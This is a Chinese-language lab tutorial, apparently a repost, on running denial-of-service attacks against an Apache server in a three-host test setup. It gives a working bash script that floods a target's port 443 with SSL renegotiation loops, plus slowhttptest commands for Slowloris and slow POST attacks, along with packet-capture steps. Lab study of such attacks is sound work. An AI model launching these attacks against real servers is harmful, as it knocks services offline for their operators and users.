DDOS攻击应用

xiaoxiao2022-06-11  35

0x01 环境

包含3台主机

attact 作为攻击方,使用Centos7.2,安装slowhttptest server 作为被攻击服务器,安装有apached windows,用于访问 server的http及https服务,查看攻击效果

0x02 准备

1.登录server,安装apached

yum -y install httpd systemctl start httpd

2.登录server,配置ssl

使用openssl生成密钥
openssl genrsa -out server.key 2048 openssl req -new -key server.key -out server.csr openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt cp server.crt /etc/pki/tls/certs/ cp server.key /etc/pki/tls/private/
配置apached server

安装apache ssl模块

yum install mod_ssl openssl

修改配置文件,使用我们刚才生成的的证书

vi /etc/httpd/conf.d/ssl.conf

SSLCertificateFile /etc/pki/tls/certs/server.crt SSLCertificateKeyFile /etc/pki/tls/private/server.key

修改后,重启apached服务

systemctl restart httpd

3.登录attact,安装slowhttptest

yum -y install slowhttptest

查看帮助

slowhttptest -help

0x03 步骤

一、发起SSL慢速攻击

登录attact计算机 shell脚本 ,修改target ip

#!/bin/bash target=192.168.164.136 # IP port=443 parallel=100 thc-ssl-dosit() { while :; do (while :; do echo R; done) | openssl s_client -connect $target:$port 2>/dev/null; done } for x in `seq 1 $parallel`; do thc-ssl-dosit & done

给脚本加上权限

chmod 777 ssl.sh

运行脚本,运行后观察CPU使用率。

./ssl.sh

停止脚本

pgrep ssl.sh | xargs kill -s 9

二、Slowloris攻击

注意修改目标IP slowhttptest -c 1000 -H -g -i 10 -r 200 -t GET -u http://192.168.164.136 -x 24 -p 3 参数说明

-c target number of connections -H slow headers a.k.a. Slowloris (default) -g generate report -i interval between followup data in seconds (10) -r connections per seconds (50) -x max length

在服务器上抓 包分析攻击 tcpdump -i ens33 -w slowloris.pcap "port 80"

三、Slow http post攻击

slowhttptest -c 3000 -B -g -i 110 -r 200 -s 8192 -u http://192.168.164.128 -x 10 -p 3

参数说明

-c target number of connections -B slow body -g generate report -i interval between followup data in seconds (10) -s value of Content-Length header if needed -x max length

在服务器上抓 包分析攻击 tcpdump -i ens33 -w slowpost.pcap "port 80"

转载请注明原文地址: https://www.6miu.com/read-4931905.html

最新回复(0)